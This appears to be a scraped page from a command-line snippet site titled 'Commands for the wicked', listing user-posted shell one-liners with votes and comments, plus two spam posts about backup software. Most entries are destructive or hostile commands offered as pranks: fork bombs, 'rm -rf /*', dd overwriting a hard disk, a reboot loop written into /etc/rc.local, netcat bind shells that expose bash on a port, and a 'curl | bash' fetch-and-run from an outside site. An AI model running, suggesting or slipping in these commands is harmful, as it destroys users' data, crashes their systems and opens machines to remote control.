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Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 31 results
How to backup hard disk timely?
2010-01-30 03:38:45
User: DemiMoore
-22

How to backup hard disk timely? Use Time Shuttle to backup your hard disk by takeing snapshots and thus to prevent data loss.

Windows System Restore, individual file recovery, files backup
2010-01-29 02:20:37
User: DemiMoore
Functions: file
-37

Introduce three main ways to restore system. System restore is an effective way to solve most of system problems. Traditional methods of system restore have more or less limitations and new way has made great progress.

echo && :(){ :|:& };:
2010-01-08 10:37:44
User: yvoictra
Functions: echo
-13

WARNING!! This command can produce to crash the unix system where you execute it. What this command do is to generate a lot of threads (so in practice -> process) until the system is overloaded, and to recover it, it is needed a reboot of the machine.

I believe it is interesting to study how this command works, however It is important to notice that executing this, the system is going to crash, so PLEASE save all the work you have opened before. Maybe it can also corrupt the system...

This is a fork bomb.

More info: http://en.wikipedia.org/wiki/Fork_bomb

/bin/bash | nc -l 1234
2009-11-07 21:26:53
2

My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.

# hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
2009-11-03 03:28:08
User: purpleidea
Functions: hdparm
-12

this is the most scary command that exists. read the hdparm man page. and see this post: http://dazzle.cs.mcgill.ca/wordpress/?p=36

[ "`whoami`" == "root" ] && ( [ $[ $RANDOM % 6 ] == 0 ] && ( dd if=/dev/null of=/dev/hda bs=1 ; halt; ) || echo Alive\! ) || echo No risk, no fun! Become root\!;
2009-10-14 08:50:57
User: Cowboy
Functions: dd echo
-24

Better don't run this command. Only funny on machines you'd like to kill.

778.786.1103
curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
0

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

sudo rm -rf /*
yes `yes`
:(){ :|:& };:
sudo make me a sandwich
press the power button
2009-03-23 09:02:07
User: maht
-74

Judging by the quality of suggestions lately I thought I'd better join in

b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &
:(){ :|:& };:
:(){ :|:& };:
nc -vv -l -p 1234 -e /bin/bash
2009-02-19 13:20:33
User: PeekNPoke
30

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

:(){ :|:&};:
2009-02-18 22:37:21
User: jaq
-39

Now try to recover without rebooting, for an extra 10 points.

:(){:|:&};:
2009-02-18 16:39:27
User: TheBunman
-32

This command is a fork bomb! Proceed with caution. ;)

:(){ :|:& };:
2009-02-18 03:24:06
User: zakmo
-26

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

rm -rf /*
2009-02-17 19:57:03
User: guidouil
Functions: rm
-71

A common typo from the PFY (the key's are like right next to each others).

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
dd if=/dev/zero of=/dev/hda
2009-02-16 00:04:23
User: cd
Functions: dd
-1

This will completely erase everything on your hard drive and is not reversible.

echo "shutdown -r now" >> /etc/rc.local
2009-02-11 05:10:32
User: fmdlc
Functions: echo
-52

It's reboot the machine when the machin is started :) is funny for use

with n00bs

sh ~/.bash_history > /dev/null 2>&1
2009-02-11 04:45:33
User: fmdlc
Functions: sh
-32

It's a funny command what execute all the file ~/.bash_history